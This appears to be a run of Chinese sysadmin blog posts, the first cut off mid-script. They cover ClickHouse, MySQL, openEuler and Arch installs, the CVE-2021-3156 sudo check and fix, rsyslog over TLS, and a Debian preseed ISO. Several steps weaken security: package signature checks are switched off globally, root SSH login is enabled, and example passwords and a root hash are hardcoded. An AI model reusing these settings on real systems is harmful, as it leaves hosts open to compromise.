"server.2=node2:2888:3888" >> zoo.cfg echo "server.3=node3:2888:3888" >> zoo.cfg echo 1 > /opt/zookeeper/data/myid #echo 2 > /opt/zookeeper/data/myid #echo 3 > /opt/zookeeper/data/myid echo "export PATH=\$PATH:/opt/zookeeper/bin" >> /etc/profile . /etc/profile echo "-----------安装clickhouse---------------" sed -i "s/gpgcheck=1/gpgcheck=0/g" /etc/yum.conf yum install clickhouse-server clickhouse-client -y \cp -rf /opt/config_node1.xml /etc/clickhouse-server/config.xml #\cp -rf /opt/config_node2.xml /etc/clickhouse-server/config.xml #\cp -rf /opt/config_node3.xml /etc/clickhouse-server/config.xml \cp -rf /opt/users.xml /etc/clickhouse-server/ mkdir -p /opt/clickhouse chown -R clickhouse:clickhouse /opt/clickhouse echo "-----------启动zookeeper---------------" zkServer.sh start sleep 2 zkServer.sh status echo "-----------启动clickhouse---------------" systemctl enable clickhouse-server systemctl start clickhouse-server systemctl status clickhouse-server sleep 2 echo "-----------clickhouse-client连接---------------" clickhouse-client --user=ck --password=clickhouse2021 -m --host=node1 --port=9000 #clickhouse-client --user=ck --password=clickhouse2021 -m --host=node2 --port=9000 #clickhouse-client --user=ck --password=clickhouse2021 -m --host=node3 --port=9000其中 config.xml中如下地方均做了修改 如下图所示  --  1)、路径均修改为/opt/clickhouse目录 -- 2)、集群<remote_server>配置,<zookeeper>配置,以及 <macros>配置修改其中<macros>配置不同节点配置不同,注意区分当然我这里是三分片一副本的配置,可以根据自身实际环境进行修改  -- 3)、监听地址修改为0.0.0.0<listen_host>0.0.0.0</listen_host> -- 4)、users.xml中添加ck用户及密码等配置3、集群状态验证在node1上zkServer.sh status systemctl status clickhouse-server clickhouse-client --user=ck --password=clickhouse2021 -m --host=node1 --port=9000 :)select * from system.clusters;可以看到 cluster_clickhouse名称的集群信息说明集群搭建成功clickhouse集群的简单搭建就介绍到这里公众号后台回复clickhouse获取clickhouse.zip文件(安装脚本+相关依赖文件)及《ClickHouse知识讲解PPT.pptx》

CentOS7下yum方式安装MySQL5.7数据库

CentOS7下yum方式安装MySQL5.7数据库之前有介绍CentOS6下安装MySQL5.7.25二进制版本,不过有时为了方便,采用yum方式快速搭建MySQL数据库,下面简单介绍具体步骤1、配置mysql的yum源并安装MySQLcd /etc/yum.repos.d/ vi mysql-community.repo [mysql-connectors-community] name=MySQL Connectors Community baseurl=https://mirrors.tuna.tsinghua.edu.cn/mysql/yum/mysql-connectors-community-el7-$basearch/ enabled=1 gpgcheck=1 gpgkey=https://repo.mysql.com/RPM-GPG-KEY-mysql [mysql-tools-community] name=MySQL Tools Community baseurl=https://mirrors.tuna.tsinghua.edu.cn/mysql/yum/mysql-tools-community-el7-$basearch/ enabled=1 gpgcheck=1 gpgkey=https://repo.mysql.com/RPM-GPG-KEY-mysql [mysql-5.7-community] name=MySQL 5.7 Community Server baseurl=https://mirrors.tuna.tsinghua.edu.cn/mysql/yum/mysql-5.7-community-el7-$basearch/ enabled=1 gpgcheck=1 gpgkey=https://repo.mysql.com/RPM-GPG-KEY-mysql这里采用清华大学开源软件镜像站的MySQL yum源yum方式安装数据库yum install mysql-community-server.x86_64yum install mysql-community-server.x86_642、启动MySQL数据库yum方式安装可以使用mysqld服务启动数据库systemctl start mysqld systemctl enable mysqld netstat -anp | grep 3306 ps -ef | grep mysql若firewalld防火墙服务开启,有外部访问mysql 3306的情况,则需要firewalld放通mysql 3306端口firewall-cmd --zone=public --add-port=3306/tcp --permanent firewall-cmd --reload3、修改MySQL默认的root密码1)、MySQL初始化的root密码可以在/var/log/mysqld.log中找到grep "temporary password" /var/log/mysqld.log​​2)、初始化数据库设置新密码及相关安全设置mysql_secure_installation按向导设置新root密码​4、测试数据库这里我们下载测试数据库sql文件https://github.com/datacharmer/test_db ​​cd /root tar -zxf test_db-1.0.7.tar.gz cd test_db ls -l导入测试数据库mysql -uroot -pMySQL@2021 < employees.sql mysql -uroot -pMySQL@2021 use employees; GRANT ALL PRIVILEGES ON employees.* TO 'employees'@'192.168.31.47' IDENTIFIED BY 'Employees@2021'; flush privileges;5、图形化数据库管理工具DBeaver使用图形化数据库管理工具登录例如DBeaver ​​​​下载地址如下https://dbeaver.io/files/dbeaver-ce-latest-x86_64-setup.exe创建连接输入数据库服务器IP/主机名 数据库账号与密码,测试连接(若是首次连接会自动去下载mysql-connectors驱动)ER图SQL语句查询器

华为开源操作系统openEuler安装与体验

一、OpenEuler简介​openEuler是一款开源操作系统。当前openEuler内核源于Linux,支持鲲鹏及其它多种处理器,能够充分释放计算芯片的潜能,是由全球开源贡献者构建的高效、稳定、安全的开源操作系统,适用于数据库、大数据、云计算、人工智能等应用场景。同时,openEuler是一个面向全球的操作系统开源社区,通过社区合作,打造创新平台,构建支持多处理器架构、统一和开放的操作系统,推动软硬件应用生态繁荣发展。​openEuler 是基于 CentOS 的 Linux 发行版,openEuler 项目来源于华为服务器操作系统 EulerOS,2019 年9月18日宣布开源,同时上线了其开源社区,12月31日,华为宣布开放openEuler源码,源码托管于Gitee平台​二、OpenEuler安装与体验​1、镜像下载​https://repo.openeuler.org/openEuler-20.03-LTS-SP1/ISO/x86_64/openEuler-20.03-LTS-SP1-x86_64-dvd.iso​​​2、创建虚拟机​​​​3、OpenEuler安装过程1)选择第一项 Install openEuler 20.03-LTS-SP12)安装语言默认​​3)提示需要完成被标记的几个步骤​​磁盘分区——这里我选择为手动配置/boot 分区512M/根分区 LVM方式 50G/opt    LVM方式 剩余所有空间 ​​软件选择最小化安装+Standard+DevelopmentTools+Legacy Unix Compatibility​​网络设置​root密码设置​取消root账户锁定所有设置都OK后开始安装4、安装完成后重启​​​5、登录系统登录时会显示系统的负载等系统信息​​因为系统内置了定制脚本/etc/profile.d/system-info.shcat /etc/profile.d/system-info.sh​​6、openEuler镜像源配置wget -O /etc/yum.repos.d/openEulerOS.repo https://repo.huaweicloud.com/repository/conf/openeuler_x86_64.repo yum clean all yum makecache​​7、自带安全加固服务systemctl status openEuler-security.service systemctl start openEuler-security.service tail -f /var/log/openEuler-security.log​​可以参考官网的安全加固工具指南https://openeuler.org/zh/docs/20.03_LTS_SP1/docs/SecHarden/安全加固工具.html#加固生效8、DDE桌面环境安装与体验DDE是统信软件团队研发的一款功能强大的桌面环境。包含数十款功能强大的桌面应用,是真正意义上的自主自研桌面产品。dnf install dde 设置以图形界面的方式启动 systemctl set-default graphical.target reboot说明:使用安装过程中创建的用户或openeuler用户登陆桌面 dde桌面无法使用root账号登陆,dde内置了openeuler用户,此用户的密码为openeuler​​​

Arch Linux安装与初体验

​​​Arch Linux安装与初体验​Arch Linux 是一个 x86-64 通用发行版,它流行于那些喜欢 DIY Linux 系统的用户和 Linux铁杆粉丝当中。其默认的安装文件只含有一个最基本的系统,它希望使用者自己配置并使用 Arch 系统。其基于 KISS 原则(使它保持简单、傻瓜Keep It Simple, Stupid!),Arch Linux 是一个专注于优雅、代码正确,精简而简洁的系统。​Arch 支持滚动发布模式,并且有自己的软件包管理器 —— pacman。为了提供一个先锐的操作系统,Arch 绝不会错失任何一个最新的源。实际上,它只提供了一个最小化的基本操作系统,使得你可以在低端硬件上安装 Arch,并且只安装你所必须的软件包。​同时,它也是最流行的从头开始学习 Linux 的操作系统之一。如果你有 DIY 精神, 可以自己体验一番Arch Linux​下面介绍VMware虚拟机安装并体验Arch Linux​1、下载Arch Linux ISO镜像包​https://archlinux.org/download/​​​​​2、VMware Workstation中创建虚拟机我这里设置成UEFI模式 ​​3、启动虚拟机经过各种系统检查后,Arch Linux 会启动到 root 用户的命令行界面​​4、检查网络配置,确认是否正常访问外网ip addr ping 114.114.114.114​同时也校对一下系统时间timedatectl set-timezone Asia/Shanghai timedatectl set-ntp true​​5、接下来进行磁盘分区fdisk /dev/sda分成两个区 第一个分区2GB, 用于后面/boot/EFI分区第二个分区为磁盘剩余所有空间,用于/根分区格式化分区后进行挂载​​​​​mkfs.fat /dev/sda1 mkfs.ext4 /dev/sda2 mount /dev/sda2 /mnt mkdir -p /mnt/boot/EFI mount /dev/sda1 /mnt/boot/EFI lsblk df -PTH当然,你也可以用cfdisk工具操作6、开始安装最基本的软件包的和系统pacstrap /mnt base linux linux-firmware​​​7、生成/etc/fstab系统开机挂载配置文件genfstab -U /mnt >> /mnt/etc/fstab8、建议先安装vi编辑工具pacstrap /mnt vi​​9、进入 chroot 环境并修改时区arch-chroot /mnt ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime hwclock --systohc --utc timedatectl10、设置语言vi /etc/locale.gen 取消en_US.UTF-8 UTF-8前面的#号注释 取消zh_CN.UTF-8 UTF-8前面的#号注释 locale-gen echo LANG=en_US.UTF-8 > /etc/locale.conf11、设置主机名,并设置root用户的密码echo archlinux > /etc/hostname passwd​12、安装grubpacman -S dosfstools grub efibootmgr grub-install --target=x86_64-efi --efi-directory=/boot/EFI --bootloader-id=archlinux --recheck grub-mkconfig -o /boot/grub/grub.cfg​13、建议提前安装NetworkManager net-tools openssh基本工具​​pacman -S networkmanager systecmctl enable NetworkManager pacman -S openssh net-tools systemctl enable sshd并修改允许root用户登录14、退出chroot环境,并重启​​​15、这时验证root SSH可以正常登录​​ 建议这时关机做个快照附加:安装桌面环境例如安装xfce xorg-server sddm(桌面管理器) pacman -S xorg xorg-server xfce4 xf86-video-intel sddm systemctl enable sddm useradd -m -G wheel yuanfan passwd yuanfan visudo rebootvisudo修改如下两行当然你也可以安装其它桌面环境例如awesome、KDE、Gnome、UKUI 桌面环境,后续有待研究​

CentOS7 Sudo本地提权漏洞修复实践

CentOS7 Sudo本地提权漏洞修复​​Sudo本地提权漏洞漏洞概述最近国外研究团队披露出sudo堆溢出漏洞,漏洞编号:CVE-2021-3156,普通用户可以通过利用此漏洞,在默认配置的 sudo 主机上获取root权限。漏洞详情Sudo是一个功能强大的实用程序,大多数基于Unix和Linux的操作系统都包含Sudo。它允许用户使用其他用户的安全特权运行程序。该漏洞已经隐藏了将近十年。它于2011年7月引入(commit:8255ed69),从1.8.2到1.8.31p2的所有旧版本以及从1.9.0到1.9.5p1的所有稳定版本的默认配置均受影响。成功利用此漏洞,普通用户都可以在易受攻击的主机上获得 root 特权 2021年1月26日,Sudo发布安全通告,修复了一个类Unix操作系统在命令参数中转义反斜杠时存在基于堆的缓冲区溢出漏洞。当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或 -i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。只要存在sudoers文件(通常是/etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。风险等级:高风险漏洞风险: 攻击者可利用该漏洞提升权限且poc已公开影响版本Sudo 1.9.0 到 1.9.5p1 所有稳定版(默认配置)Sudo 1.8.2 到 1.8.31p2 所有旧版本(默认配置)安全版本:Sudo 1.9.5p2或更新版本漏洞检测方法1、以非root账户登录系统运行如下命令:​​sudoedit -s /若返回如图以“ sudoedit:”开头的错误,则当前系统可能存在安全风险。不受影响的系统将显示以“ usage:”开头的错误响应。​1)若受影响,错误信息会出现如下提示sudoedit: /: not a regular file2)若已安装修复补丁,错误信息则是usage: sudoedit [-AknS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p                prompt] [-T timeout] [-u user] file ...修复建议目前Redhat等Linux厂商已经紧急发布修复补丁,涉及各个版本系统,建议尽快升级相关补丁。CentOS 系统用户:1)CentOS 6:默认 sudo 在受影响范围,CentOS官方已停止更新。2)CentOS 7:升级到 sudo-1.8.23-10.el7_9.1 或更高版本木有也有不升级的处理方法,但太麻烦,建议直接升级sudo解决​CentOS7修复该漏洞的步骤实践1、yum在线升级sudoyum makecache fast yum search sudo yum install sudo​​​可以在yum源站点update仓库里看到1/26号刚更新了这个sudo版本​2、验证sudo版本及再次进行检测 这时其它sudo用户再使用sudo -V sudoedit -s /可以看到显示的是usage:开头的内容,说明漏洞已经修复3、使用如下命令可以看到sudo的rpm包的更新记录说明 可以看到已经修复了该CVE-2021-3156漏洞rpm -q --changelog sudo | head​​

CentOS7下使用TCP over TLS方式安全传输远程主机系统日志

CentOS7下使用TCP over TLS方式安全传输远程主机系统日志之前有介绍CentOS7下搭建Rsyslog Server记录远程主机系统日志,但由于syslog是UDP 514端口明文传输,基于安全考虑,可以采用TCP over TLS(SSL)方式传输日志 如上图拓扑所示 192.168.198.130 作为Rsyslog Client 192.168.198.131 作为Rsyslog ServerClient端通过rsyslog TCP over TLS(SSL)方式向Server端发送系统日志配置步骤如下1、Client端与Server端均需要安装rsyslog-gnutlsCentOS7.6默认的rsyslog版本为 rsyslog-8.24.0-34.el7.x86_64 ​​可以通过如下方式安装rsyslog-gnutls组件包cd /etc/yum.repos.d/ wget http://rpms.adiscon.com/v8-stable/rsyslog.repo yum install rsyslog-gnutls会自动升级rsyslog到v8.2012版本由于rsyslog的yum仓库在国外,建议yum keepcache,将缓存下来的rpm打包上传到其它机器上rpm方式安装rsyslog-gnutlsrpm -Uvh libestr-0.1.11-1.el7.x86_64.rpm rpm -Uvh libfastjson4-0.99.8-1.el7.centos.x86_64.rpm rpm -Uvh rsyslog-8.2012.0-1.el7.x86_64.rpm rpm -Uvh rsyslog-gnutls-8.2012.0-1.el7.x86_64.rpm​2、证书制作1)、CA签证certtool --generate-privkey --outfile ca-key.pem certtool --generate-self-signed --load-privkey ca-key.pem --outfile ca.pem按向导制作ca.pem​​Tips 若没有certtool命令,需要安装gnutls-utils2)、客户端签证certtool --generate-privkey --outfile key.pem certtool --generate-request --load-privkey key.pem --outfile request.pem certtool --generate-certificate --load-request request.pem --outfile cert.pem --load-ca-certificate ca.pem --load-ca-privkey ca-key.pem 3)、证书信息校验certtool --certificate-info --infile cert.pem3、证书文件拷贝到服务端及客户端​cp ca.pem cert.pem key.pem /etc/rsyslog.d/ scp ca.pem root@192.168.198.130:/etc/rsyslog.d/​3、Rsyslog Server端修改配置文件在如下两个位置加入如下行1)#$InputTCPServerRun 514这一行后面加入如下行# make gtls driver the default $DefaultNetstreamDriver gtls # certificate files $DefaultNetstreamDriverCAFile /etc/rsyslog.d/ca.pem $DefaultNetstreamDriverCertFile /etc/rsyslog.d/cert.pem $DefaultNetstreamDriverKeyFile /etc/rsyslog.d/key.pem $ModLoad imtcp # load TCP listener $InputTCPServerStreamDriverMode 1 # run driver in TLS-only mode $InputTCPServerStreamDriverAuthMode anon # client is NOT authenticated $InputTCPServerRun 10514 # start up listener at port 10514​2)$ActionFileDefaultTemplate RSYSLOG_TraditionalFileFormat这一行后面加入如下行# This one is the template to generate the log filename dynamically, depending on the client's IP address. # 根据客户端的IP单独存放主机日志在不同目录,设置远程日志存放路径及文件名格式 $template Remote,"/var/log/syslog/%fromhost-ip%/%fromhost-ip%_%$YEAR%-%$MONTH%-%$DAY%.log" # Log all messages to the dynamically formed file. # 排除本地主机IP日志记录,只记录远程主机日志 :fromhost-ip, !isequal, "127.0.0.1" ?Remote # 注意此规则需要在其它规则之前,否则配置没有意义,远程主机的日志也会记录到Server的日志文件中 # 忽略之前所有的日志,远程主机日志记录完之后不再继续往下记录 & ~然后重启rsyslogsystemctl restart rsyslog tail -f /var/log/messagestail -f /var/log/messages检查有没有报错4、 Rsyslog Client端修改配置文件​vi/etc/rsyslog.d/systemlog_to_server_over_tls.conf 加入如下行 # certificate files - just CA for a client $DefaultNetstreamDriverCAFile /etc/rsyslog.d/ca.pem # set up the action $DefaultNetstreamDriver gtls # use gtls netstream driver $ActionSendStreamDriverMode 1 # require TLS for the connection $ActionSendStreamDriverAuthMode anon # server is NOT authenticated *.* @@(o)192.168.198.131:10514 # send (all) messages systemctl restart rsyslog tail -f /var/log/messages重启rsyslog,tail -f /var/log/messages检查有没有报错​6、验证测试Rsyslog Client端触发系统日志,在Server端/var/log/syslog/下对应目录进行验证如下图所示,可以看到测试OK​​​​nestat也可以看到Client与Server 10514端口建立了TCP连接

Debian10.7 自动化安装镜像制作

Debian10.7 自动化安装镜像制作​一、debian的自动化安装方式介绍​第一种、FAI方式自动化安装​FAI是用于Linux的无人值守大规模部署的工具 ​具体方法可以参考https://fai-project.org/其官方站点​其在线打包的功能相当方便  https://fai-project.org/FAIme/  ​第二种、preseed预置文件方式完成自动化安装​Debian 安装程序支持使用预先配置的文件(preseed)进行自动安装。preseed预置文件可以从网络或移动介质上加载,并自动回答安装过程中的问题 ​具体步骤:从原始的ISO映像中提取initrd,将预置文件preseed添加到initrd,最后再封装创建一个新可引导的自动化安装的ISO映像​​​​​Simple-CDD方式​还有一种是Simple-CDD方式 The All-In-One Solution ​​​​​我采用的是第二种 在preseed.cfg脚本编写上踩坑无数,经过20多次的debian自动化安装镜像打包和安装验证测试, debian10.7自动化安装终于搞定了 ​二、Debian10.7 preseed自动化安装镜像制作步骤​具体的操作步骤如下​1、debian官网下载debian10.7的完整版镜像文件​https://cdimage.debian.org/debian-cd/current/amd64/bt-dvd/1)种子文件的方式下载更快 2)只用下载第一张:DVD1​​​​2、安装debian虚拟机​用于制作镜像 我这边安装成了图形化界面模式,当然安装命令行模式也是一样 安装过程就不详细描述了,参考之前的文章图解Debian10Linux系统的安装步骤​​​3、配置apt源,并安装镜像制作相关的软件包工具Debian10.7的apt源配置参考之前的文章几种常用Linux系统的软件镜像源配置安装镜像制作相关的软件包工具 apt install vim lrzsz apt install debconf-utils apt install whois #[whois工具包用于mkpasswd生成root密码的密文] apt install bsdtar apt install genisoimage4、preseed.cfg脚本脚本主要说明 1、网卡默认静态地址192.168.100.100/24 2、主机名debian,域walkingcloud.cn 3、时区Asia/Shanghai 4、分区为LVM方案 *# /boot 500M ext4 *# /home 20G ext4 LVM *# / 20G+ ext4 LVM 5、自动安装htop net-tools vim wget  iftop  iotop这些常用工具包6、preseed/late_command安装后执行命令实现root用户可以直接SSH登录 7、mkpasswd -m sha-512设置root用户密码 当然你可以根据自身需要进行定制,修改脚本vi preseed.cfg添加如下内容 # US locale/kbd map d-i debian-installer/locale string en_US d-i keyboard-configuration/xkb-keymap select us # automatically select network interface d-i netcfg/choose_interface select auto d-i netcfg/disable_dhcp boolean true d-i netcfg/disable_autoconfig boolean true d-i netcfg/get_ipaddress string 192.168.100.100 d-i netcfg/get_nameservers string 223.5.5.5 d-i netcfg/get_netmask string 255.255.255.0 d-i netcfg/get_gateway string 192.168.100.254 d-i netcfg/confirm_static boolean true # set host and domain d-i netcfg/get_hostname string debian d-i netcfg/get_domain string walkingcloud.cn # disable WEP dialogue d-i netcfg/wireless_wep string # use http.us.debian.org as mirror with no proxy d-i mirror/country string manual d-i mirror/http/hostname string mirrors.cloud.tencent.com d-i mirror/http/directory string /debian d-i mirror/http/proxy string # don't make a regular user / set root password d-i passwd/make-user boolean false # mkpasswd -m sha-512 <pwd> d-i passwd/root-password-crypted password $6$zRyZgBe.MEy$fDGbMeV/4DHSuVrCepJC6Md4adDkV9jKjAXaaEHBhx8xs/AmTcoBo80AsYC3gyuoJX/ww2zNGdi1oYQkkd9KN/ d-i passwd/root-login boolean true d-i clock-setup/utc boolean true d-i time/zone string Asia/Shanghai d-i clock-setup/ntp boolean false d-i clock-setup/ntp-server string cn.pool.ntp.org ### Partitioning d-i preseed/early_command string anna-install fdisk-udeb # use lvm partitioning d-i partman-auto/method string lvm d-i partman-lvm/device_remove_lvm boolean true d-i partman-lvm/confirm boolean true d-i partman-lvm/confirm_nooverwrite boolean true # make lvm the max size d-i partman-auto-lvm/guided_size string max d-i partman-auto-lvm/new_vg_name string debian # use the following partition scheme on /dev/sda #d-i partman-auto/disk string /dev/sda d-i partman/early_command string debconf-set partman-auto/disk "$(list-devices disk | head -n1)" d-i partman-auto/choose_recipe select boot-lvm # /boot 500M ext4 # /home 20G ext4 # / 20G+ ext4 d-i partman-auto/expert_recipe string \ boot-lvm :: \ 500 500 500 ext4 \ $primary{ } $bootable{ } \ method{ format } format{ } \ use_filesystem{ } filesystem{ ext4 } \ mountpoint{ /boot } \ . \ 20480 20480 20480 ext4 \ $lvmok{ } \ lv_name{ lv_home } in_vg { debian } \ $primary{ } \ method{ format } format{ } \ use_filesystem{ } filesystem{ ext4 } \ mountpoint{ /home } \ . \ 20480 20480 -1 ext4 \ $lvmok{ } \ lv_name{ lv_root } in_vg { debian } \ $primary{ } \ method{ format } format{ } \ use_filesystem{ } filesystem{ ext4 } \ mountpoint{ / } \ # remove any RAID partitioning d-i partman-md/device_remove_md boolean true # don't confirm anything d-i partman-basicfilesystems/no_mount_point boolean false d-i partman-partitioning/confirm_write_new_label boolean true d-i partman/choose_partition select finish d-i partman-auto/purge_lvm_from_device boolean true d-i partman-lvm/device_remove_lvm boolean true d-i partman/confirm boolean true d-i partman/confirm_nooverwrite boolean true # disable swap warning d-i partman-basicfilesystems/no_swap boolean false # install standard system with ssh-server tasksel tasksel/first multiselect standard, ssh-server # also install other package d-i pkgsel/include string htop net-tools vim wget iftop iotop # upgrade all packages d-i pkgsel/upgrade select full-upgrade # disable popularity contest popularity-contest popularity-contest/participate boolean false # Uncomment this if you don't want to use a network mirror. #d-i apt-setup/use_mirror boolean false d-i apt-setup/no_mirror boolean true d-i apt-setup/use_mirror boolean false d-i apt-setup/contrib boolean false d-i apt-setup/non-free boolean false d-i apt-setup/cdrom/set-next boolean false d-i apt-setup/services-select multiselect # force grub install to /dev/sda d-i grub-installer/only_debian boolean true d-i grub-installer/with_other_os boolean true #d-i grub-installer/bootdev string /dev/sda d-i grub-installer/bootdev string default #d-i grub-installer/early_command string debconf-set grub-installer/bootdev "$(list-devices disk | head -n1)" # don't wait for confirm, just reboot when finished d-i finish-install/reboot_in_progress note d-i preseed/late_command string \ cp -vrf /cdrom/tools/* /target/home/ ; \ sed -i "s/^#PermitRootLogin.*\$/PermitRootLogin yes/g" /target/etc/ssh/sshd_config ;其中mkpasswd -m sha-512 <pwd>用于获取root密码密文​​​5、iso制作脚本make_iso.sh/opt/preseed_debian_iso_make目录下创建 make_iso.sh ​​​​脚本来源自github#!/bin/bash temp_dir="isofiles" if [ $# -ne 2 ]; then echo usage $0 ISO preseed.cfg exit 1 source_iso=$1 source_iso_name=$(basename $source_iso) preseed=$2 [ -f "$source_iso" ] || (echo source_iso does not exist && exit 1) [ -f "$preseed" ] || (echo preseed does not exist && exit 1) if [ ! -d "$temp_dir" ]; then mkdir -p "$temp_dir" bsdtar -C "$temp_dir" -xf "$source_iso" gunzip "$temp_dir"/install.amd/initrd.gz echo "$preseed" | cpio -H newc -o -A -F "$temp_dir"/install.amd/initrd gzip "$temp_dir"/install.amd/initrd sed -i 's/^timeout.*/timeout 1/' "$temp_dir"/isolinux/isolinux.cfg cat >"$temp_dir"/isolinux/menu.cfg <<EOF menu hshift 4 menu width 70 menu title Debian GNU/Linux installer menu (BIOS mode) include stdmenu.cfg include txt.cfg cat >"$temp_dir"/isolinux/txt.cfg <<EOF label install menu label ^AutoInstall Debian10.7 DIY-OS v1(cdrom) menu default kernel /install.amd/vmlinuz append vga=788 auto=true priority=critical file=/preseed.cfg initrd=/install.amd/initrd.gz --- quiet default install \cp -vrf packages_add/*.deb $temp_dir/tools/ \cp -vrf packages_add/*.sh $temp_dir/tools/ md5sum `find $temp_dir -follow -type f` > "$temp_dir"/md5sum.txt genisoimage -r -J -b isolinux/isolinux.bin -c isolinux/boot.cat -no-emul-boot -boot-load-size 4 -boot-info-table -o "preseed-$source_iso_name" "$temp_dir"/ #rm -r "$temp_dir"其中packages_add目录为额外的工具包或者系统优化脚本 用于自动化安装完成后,若有需要,可以手动dpkg安装这些工具包以及执行该系统优化脚本7、制作镜像sh -x make_iso.sh /root/debian-10.7.0-amd64-DVD-1.iso preseed.cfg sh -x可以看到脚本执行过程​​​8、下载ISO镜像文件并创建虚拟机测试镜像这里用SFTP方式下载打好的镜像包 preseed-debian-10.7.0-amd64-DVD-1.iso ​创建虚拟机测试 9、全程自动化安装从光盘启动,无需手工干预 安装过程截图 ​​​​10、安装完成后登录验证1)分区与网络ip addr 可以看到分区与IP与定制的preseed.cfg文件中一致2)htop工具3)home目录也有额外的工具包或者系统优化脚本cd /home dpkg --install lrzsz_0.12.21-10_amd64.deb ncdu_1.13-1+b1_amd64.deb nmon_16i+debian-2_amd64.deb​​4)Env4Buster.sh 系统优化脚本​​